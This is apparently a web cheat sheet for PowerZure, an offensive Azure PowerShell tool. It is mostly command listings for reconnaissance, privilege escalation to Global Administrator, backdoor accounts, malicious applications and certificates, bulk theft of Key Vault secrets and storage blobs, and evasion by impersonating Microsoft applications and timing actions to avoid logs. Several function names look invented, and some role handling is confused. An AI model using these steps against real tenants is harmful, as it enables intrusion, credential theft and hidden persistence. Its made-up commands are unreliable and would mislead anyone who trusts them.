Appearance
PowerZure Azure Security Assessment Tool Cheat Sheet
Overview
PowerZure is a PowerShell project created by Ryan Hausknecht (@haus3c) for assessing Azure security. It provides a comprehensive set of functions for Azure reconnaissance, privilege escalation, persistence, and data exfiltration in Azure environments.
⚠️ Warning: This tool is intended for authorized penetration testing and security assessments only. Ensure you have proper authorization before using in any environment.
Installation
PowerShell Gallery Installation
powershell
# Install from PowerShell Gallery
Install-Module -Name PowerZure
# Install for current user only
Install-Module -Name PowerZure -Scope CurrentUser
# Update existing installation
Update-Module -Name PowerZure
# Import module
Import-Module PowerZure
Manual Installation
powershell
# Download from GitHub
Invoke-WebRequest -Uri "https://github.com/hausec/PowerZure/archive/master.zip" -OutFile "PowerZure.zip"
Expand-Archive -Path "PowerZure.zip" -DestinationPath "C:\Tools\"
# Import module
Import-Module C:\Tools\PowerZure-master\PowerZure.psd1
# Install dependencies
Install-Module -Name Az
Install-Module -Name AzureAD
Git Installation
bash
# Clone repository
git clone https://github.com/hausec/PowerZure.git
cd PowerZure
# Import in PowerShell
Import-Module .\PowerZure.psd1
Basic Usage
Module Setup
powershell
# Import PowerZure
Import-Module PowerZure
# Get available commands
Get-Command -Module PowerZure
# Get help for specific function
Get-Help Invoke-AzureRecon -Full
# Check module version
Get-Module PowerZure
Authentication
powershell
# Interactive authentication
Connect-AzAccount
# Service principal authentication
$credential = Get-Credential
Connect-AzAccount -ServicePrincipal -Credential $credential -TenantId "tenant-id"
# Certificate authentication
Connect-AzAccount -ServicePrincipal -CertificateThumbprint "thumbprint" -ApplicationId "app-id" -TenantId "tenant-id"
# Managed identity authentication (from Azure VM)
Connect-AzAccount -Identity
Command Reference
Reconnaissance Functions
Function | Description |
---|---|
Invoke-AzureRecon | Comprehensive Azure reconnaissance |
Get-AzureTargets | Identify potential targets |
Get-AzureUsers | Enumerate Azure AD users |
Get-AzureGroups | Enumerate Azure AD groups |
Get-AzureApps | Enumerate applications |
Get-AzureResources | Enumerate Azure resources |
Privilege Escalation Functions
Function | Description |
---|---|
Invoke-AzurePrivEsc | Automated privilege escalation |
Get-AzureRoleAssignments | Check role assignments |
Set-AzureRole | Assign roles to principals |
Get-AzureKeyVaults | Enumerate Key Vaults |
Get-AzureVMs | Enumerate virtual machines |
Persistence Functions
Function | Description |
---|---|
New-AzureBackdoor | Create backdoor accounts |
Set-AzureUserPassword | Change user passwords |
New-AzureApplication | Create malicious applications |
Add-AzureKeyVaultSecret | Add secrets to Key Vault |
Reconnaissance and Information Gathering
Comprehensive Reconnaissance
powershell
# Run full reconnaissance
Invoke-AzureRecon
# Reconnaissance with specific subscription
Invoke-AzureRecon -SubscriptionId "subscription-id"
# Save reconnaissance results
Invoke-AzureRecon | Out-File "azure_recon.txt"
# Reconnaissance with verbose output
Invoke-AzureRecon -Verbose
User and Group Enumeration
powershell
# Get all Azure AD users
$users = Get-AzureUsers
# Get users with specific role
$adminUsers = Get-AzureUsers | Where-Object {$_.AssignedRoles -contains "Global Administrator"}
# Get all groups
$groups = Get-AzureGroups
# Get group members
$groupMembers = Get-AzureGroupMembers -GroupId "group-id"
# Get privileged groups
$privilegedGroups = Get-AzureGroups | Where-Object {$_.DisplayName -like "*admin*"}
Application and Service Principal Enumeration
powershell
# Get all applications
$apps = Get-AzureApps
# Get applications with high privileges
$highPrivApps = Get-AzureApps | Where-Object {$_.RequiredResourceAccess.ResourceAppId -contains "00000003-0000-0000-c000-000000000000"}
# Get service principals
$servicePrincipals = Get-AzureServicePrincipals
# Get application secrets and certificates
$appSecrets = Get-AzureAppSecrets -ApplicationId "app-id"
Resource Enumeration
powershell
# Get all Azure resources
$resources = Get-AzureResources
# Get virtual machines
$vms = Get-AzureVMs
# Get storage accounts
$storageAccounts = Get-AzureStorageAccounts
# Get Key Vaults
$keyVaults = Get-AzureKeyVaults
# Get SQL databases
$sqlDatabases = Get-AzureSQLDatabases
Subscription and Tenant Information
powershell
# Get tenant information
$tenantInfo = Get-AzureTenantInfo
# Get subscription information
$subscriptions = Get-AzureSubscriptions
# Get current context
$context = Get-AzContext
# Get role assignments
$roleAssignments = Get-AzureRoleAssignments
Privilege Escalation
Automated Privilege Escalation
powershell
# Run automated privilege escalation
Invoke-AzurePrivEsc
# Privilege escalation with specific target
Invoke-AzurePrivEsc -Target "subscription-id"
# Check for privilege escalation paths
Get-AzurePrivEscPaths
# Test specific privilege escalation technique
Test-AzurePrivEsc -Technique "RoleAssignment"
Role-Based Privilege Escalation
powershell
# Check current role assignments
$currentRoles = Get-AzRoleAssignment
# Assign Global Administrator role
Set-AzureRole -PrincipalId "user-id" -RoleDefinitionName "Global Administrator"
# Assign Contributor role to subscription
Set-AzureRole -PrincipalId "user-id" -RoleDefinitionName "Contributor" -Scope "/subscriptions/subscription-id"
# Create custom role with high privileges
$customRole = New-AzureCustomRole -Name "CustomAdmin" -Permissions @("*")
Key Vault Privilege Escalation
powershell
# Check Key Vault access
$keyVaultAccess = Test-AzureKeyVaultAccess -VaultName "vault-name"
# Get Key Vault secrets
$secrets = Get-AzureKeyVaultSecrets -VaultName "vault-name"
# Extract credentials from Key Vault
$credentials = Get-AzureKeyVaultCredentials -VaultName "vault-name"
# Add malicious secret to Key Vault
Add-AzureKeyVaultSecret -VaultName "vault-name" -SecretName "backdoor" -SecretValue "password123"
Virtual Machine Privilege Escalation
powershell
# Check VM access
$vmAccess = Test-AzureVMAccess -VMName "vm-name"
# Execute commands on VM
Invoke-AzureVMCommand -VMName "vm-name" -Command "whoami"
# Get VM credentials
$vmCreds = Get-AzureVMCredentials -VMName "vm-name"
# Install backdoor on VM
Install-AzureVMBackdoor -VMName "vm-name"
Persistence Techniques
User Account Persistence
powershell
# Create backdoor user
New-AzureBackdoor -Username "service-account" -Password "ComplexPassword123"
# Change existing user password
Set-AzureUserPassword -UserPrincipalName "user@domain.com" -Password "NewPassword123"
# Add user to privileged group
Add-AzureUserToGroup -UserPrincipalName "user@domain.com" -GroupId "admin-group-id"
# Assign privileged role to user
Set-AzureRole -PrincipalId "user-id" -RoleDefinitionName "Global Administrator"
Application-Based Persistence
powershell
# Create malicious application
$app = New-AzureApplication -DisplayName "LegitimateApp" -RequiredResourceAccess $permissions
# Add application secret
$secret = New-AzureApplicationSecret -ApplicationId $app.AppId
# Grant application permissions
Grant-AzureApplicationPermissions -ApplicationId $app.AppId -Permissions @("User.Read.All", "Directory.Read.All")
# Create service principal for application
$sp = New-AzureServicePrincipal -ApplicationId $app.AppId
Certificate-Based Persistence
powershell
# Generate certificate for authentication
$cert = New-SelfSignedCertificate -Subject "CN=BackdoorCert" -CertStoreLocation "Cert:\CurrentUser\My"
# Add certificate to application
Add-AzureApplicationCertificate -ApplicationId "app-id" -Certificate $cert
# Use certificate for authentication
Connect-AzAccount -ServicePrincipal -CertificateThumbprint $cert.Thumbprint -ApplicationId "app-id" -TenantId "tenant-id"
Resource-Based Persistence
powershell
# Create backdoor storage account
$storageAccount = New-AzureStorageAccount -Name "backdoorstorage" -ResourceGroupName "rg-name"
# Create backdoor Key Vault
$keyVault = New-AzureKeyVault -Name "backdoorvault" -ResourceGroupName "rg-name"
# Create backdoor virtual machine
$vm = New-AzureVM -Name "backdoorvm" -ResourceGroupName "rg-name" -Credential $cred
Data Exfiltration
Azure AD Data Exfiltration
powershell
# Export all users
$users = Get-AzureUsers
$users | Export-Csv -Path "azure_users.csv" -NoTypeInformation
# Export group memberships
$groups = Get-AzureGroups
foreach ($group in $groups) {
$members = Get-AzureGroupMembers -GroupId $group.Id
$group | Add-Member -NotePropertyName "Members" -NotePropertyValue $members
}
$groups | ConvertTo-Json -Depth 3 | Out-File "azure_groups.json"
# Export application information
$apps = Get-AzureApps
$apps | Export-Csv -Path "azure_applications.csv" -NoTypeInformation
Storage Account Data Exfiltration
powershell
# List storage accounts
$storageAccounts = Get-AzureStorageAccounts
# Download blobs from storage account
foreach ($account in $storageAccounts) {
$ctx = New-AzStorageContext -StorageAccountName $account.Name -UseConnectedAccount
$containers = Get-AzStorageContainer -Context $ctx
foreach ($container in $containers) {
$blobs = Get-AzStorageBlob -Container $container.Name -Context $ctx
foreach ($blob in $blobs) {
Get-AzStorageBlobContent -Blob $blob.Name -Container $container.Name -Context $ctx -Destination ".\downloads\"
}
}
}
Key Vault Data Exfiltration
powershell
# Extract all Key Vault secrets
$keyVaults = Get-AzureKeyVaults
foreach ($vault in $keyVaults) {
try {
$secrets = Get-AzKeyVaultSecret -VaultName $vault.Name
foreach ($secret in $secrets) {
$secretValue = Get-AzKeyVaultSecret -VaultName $vault.Name -Name $secret.Name -AsPlainText
Write-Output "Vault: $($vault.Name), Secret: $($secret.Name), Value: $secretValue"
}
}
catch {
Write-Warning "Cannot access vault: $($vault.Name)"
}
}
Database Data Exfiltration
powershell
# Extract SQL database information
$sqlServers = Get-AzSqlServer
foreach ($server in $sqlServers) {
$databases = Get-AzSqlDatabase -ServerName $server.ServerName -ResourceGroupName $server.ResourceGroupName
foreach ($database in $databases) {
# Attempt to connect and extract data
try {
$connectionString = "Server=$($server.FullyQualifiedDomainName);Database=$($database.DatabaseName);Integrated Security=true;"
# Use connection string to extract data
}
catch {
Write-Warning "Cannot access database: $($database.DatabaseName)"
}
}
}
Advanced Attack Techniques
Token Manipulation
powershell
# Get current access token
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($context.Account, $context.Environment, $context.Tenant.Id, $null, "https://management.azure.com/", $null).AccessToken
# Parse JWT token
$tokenParts = $token.Split('.')
$header = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($tokenParts[0]))
$payload = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($tokenParts[1]))
# Use token for API calls
$headers = @{
'Authorization' = "Bearer $token"
'Content-Type' = 'application/json'
}
Cross-Tenant Attacks
powershell
# Enumerate accessible tenants
$tenants = Get-AzTenant
# Switch between tenants
foreach ($tenant in $tenants) {
Set-AzContext -TenantId $tenant.Id
Write-Output "Current tenant: $($tenant.Id)"
# Perform reconnaissance in each tenant
Invoke-AzureRecon
}
Resource Group Takeover
powershell
# Find resource groups with weak permissions
$resourceGroups = Get-AzResourceGroup
foreach ($rg in $resourceGroups) {
$roleAssignments = Get-AzRoleAssignment -Scope $rg.ResourceId
# Check for overprivileged assignments
$dangerousRoles = $roleAssignments | Where-Object {$_.RoleDefinitionName -in @("Owner", "Contributor", "User Access Administrator")}
if ($dangerousRoles) {
Write-Output "Potentially exploitable resource group: $($rg.ResourceGroupName)"
}
}
Evasion Techniques
Stealth Operations
powershell
# Use legitimate application names
$stealthApp = New-AzureApplication -DisplayName "Microsoft Graph PowerShell"
# Mimic legitimate service accounts
$stealthUser = New-AzureUser -UserPrincipalName "sync-service@company.com" -DisplayName "Directory Sync Service"
# Use existing application IDs
$graphAppId = "14d82eec-204b-4c2f-b7e8-296a70dab67e" # Microsoft Graph PowerShell
Rate Limiting Evasion
powershell
# Implement delays between operations
function Invoke-AzureOperationWithDelay {
param($Operation, $Delay = 2)
& $Operation
Start-Sleep -Seconds $Delay
}
# Randomize operation timing
$users = Get-AzureUsers
foreach ($user in $users) {
$delay = Get-Random -Minimum 1 -Maximum 5
Start-Sleep -Seconds $delay
$groups = Get-AzureUserGroups -UserId $user.Id
}
Log Evasion
powershell
# Perform operations during business hours
$currentHour = (Get-Date).Hour
if ($currentHour -ge 9 -and $currentHour -le 17) {
# Perform stealthy operations
Invoke-AzureRecon
}
# Use service principal instead of user account
Connect-AzAccount -ServicePrincipal -Credential $spCredential -TenantId $tenantId
Automation and Scripting
Automated Assessment Script
powershell
# Comprehensive Azure security assessment
param(
[string]$TenantId,
[string]$SubscriptionId,
[string]$OutputPath = ".\azure_assessment"
)
# Create output directory
New-Item -ItemType Directory -Path $OutputPath -Force | Out-Null
# Authenticate
Connect-AzAccount -TenantId $TenantId
# Set subscription context
if ($SubscriptionId) {
Set-AzContext -SubscriptionId $SubscriptionId
}
# Perform reconnaissance
Write-Host "Performing reconnaissance..."
$recon = Invoke-AzureRecon
$recon | Out-File "$OutputPath\reconnaissance.txt"
# Check for privilege escalation opportunities
Write-Host "Checking privilege escalation paths..."
$privesc = Invoke-AzurePrivEsc
$privesc | Out-File "$OutputPath\privilege_escalation.txt"
# Export user and group information
Write-Host "Exporting user and group data..."
$users = Get-AzureUsers
$users | Export-Csv "$OutputPath\users.csv" -NoTypeInformation
$groups = Get-AzureGroups
$groups | Export-Csv "$OutputPath\groups.csv" -NoTypeInformation
# Export application information
Write-Host "Exporting application data..."
$apps = Get-AzureApps
$apps | Export-Csv "$OutputPath\applications.csv" -NoTypeInformation
# Generate summary report
$summary = @{
AssessmentDate = Get-Date
TenantId = $TenantId
SubscriptionId = $SubscriptionId
TotalUsers = $users.Count
TotalGroups = $groups.Count
TotalApplications = $apps.Count
PrivilegeEscalationPaths = $privesc.Count
}
$summary | ConvertTo-Json | Out-File "$OutputPath\summary.json"
Write-Host "Assessment completed. Results saved to $OutputPath"
Continuous Monitoring Script
powershell
# Continuous Azure monitoring script
param(
[int]$IntervalMinutes = 60,
[string]$LogPath = ".\azure_monitoring.log"
)
while ($true) {
$timestamp = Get-Date
Write-Output "[$timestamp] Starting Azure monitoring cycle" | Tee-Object -FilePath $LogPath -Append
try {
# Check for new users
$newUsers = Get-AzureUsers | Where-Object {$_.CreatedDateTime -gt (Get-Date).AddMinutes(-$IntervalMinutes)}
if ($newUsers) {
Write-Output "[$timestamp] New users detected: $($newUsers.Count)" | Tee-Object -FilePath $LogPath -Append
}
# Check for new applications
$newApps = Get-AzureApps | Where-Object {$_.CreatedDateTime -gt (Get-Date).AddMinutes(-$IntervalMinutes)}
if ($newApps) {
Write-Output "[$timestamp] New applications detected: $($newApps.Count)" | Tee-Object -FilePath $LogPath -Append
}
# Check for role assignments
$recentRoleAssignments = Get-AzRoleAssignment | Where-Object {$_.CreatedOn -gt (Get-Date).AddMinutes(-$IntervalMinutes)}
if ($recentRoleAssignments) {
Write-Output "[$timestamp] New role assignments detected: $($recentRoleAssignments.Count)" | Tee-Object -FilePath $LogPath -Append
}
}
catch {
Write-Output "[$timestamp] Error during monitoring: $($_.Exception.Message)" | Tee-Object -FilePath $LogPath -Append
}
Start-Sleep -Seconds ($IntervalMinutes * 60)
}
Troubleshooting
Authentication Issues
powershell
# Clear cached credentials
Clear-AzContext -Force
# Test authentication
$context = Get-AzContext
if (-not $context) {
Write-Error "Not authenticated to Azure"
Connect-AzAccount
}
# Verify permissions
$currentUser = Get-AzADUser -UserPrincipalName (Get-AzContext).Account.Id
$roleAssignments = Get-AzRoleAssignment -ObjectId $currentUser.Id
Module Issues
powershell
# Check PowerZure installation
Get-Module PowerZure -ListAvailable
# Update PowerZure
Update-Module PowerZure -Force
# Reinstall if necessary
Uninstall-Module PowerZure
Install-Module PowerZure -Force
Permission Issues
powershell
# Check current permissions
$permissions = Get-AzRoleAssignment -SignInName (Get-AzContext).Account.Id
# Test specific permissions
try {
Get-AzADUser -First 1
Write-Output "User read permission: OK"
}
catch {
Write-Output "User read permission: DENIED"
}
# Request additional permissions
Write-Output "Required permissions:"
Write-Output "- Directory.Read.All"
Write-Output "- User.Read.All"
Write-Output "- Application.Read.All"
Integration with Other Tools
BloodHound Integration
powershell
# Export data for BloodHound
$users = Get-AzureUsers
$groups = Get-AzureGroups
$apps = Get-AzureApps
# Convert to BloodHound format
$bloodhoundData = @{
users = $users | ForEach-Object {
@{
ObjectIdentifier = $_.Id
Properties = @{
name = $_.UserPrincipalName
displayname = $_.DisplayName
enabled = $_.AccountEnabled
}
}
}
groups = $groups | ForEach-Object {
@{
ObjectIdentifier = $_.Id
Properties = @{
name = $_.DisplayName
description = $_.Description
}
}
}
}
$bloodhoundData | ConvertTo-Json -Depth 3 | Out-File "azure_bloodhound.json"
ROADtools Integration
powershell
# Export data for ROADtools
$azureData = @{
users = Get-AzureUsers
groups = Get-AzureGroups
applications = Get-AzureApps
servicePrincipals = Get-AzureServicePrincipals
}
$azureData | ConvertTo-Json -Depth 3 | Out-File "azure_roadtools.json"
Resources
- PowerZure GitHub Repository
- Ryan Hausknecht Blog
- Azure Security Documentation
- Azure AD Security Best Practices
- Azure PowerShell Documentation
This cheat sheet provides a comprehensive reference for using PowerZure. Always ensure you have proper authorization before conducting Azure security assessments.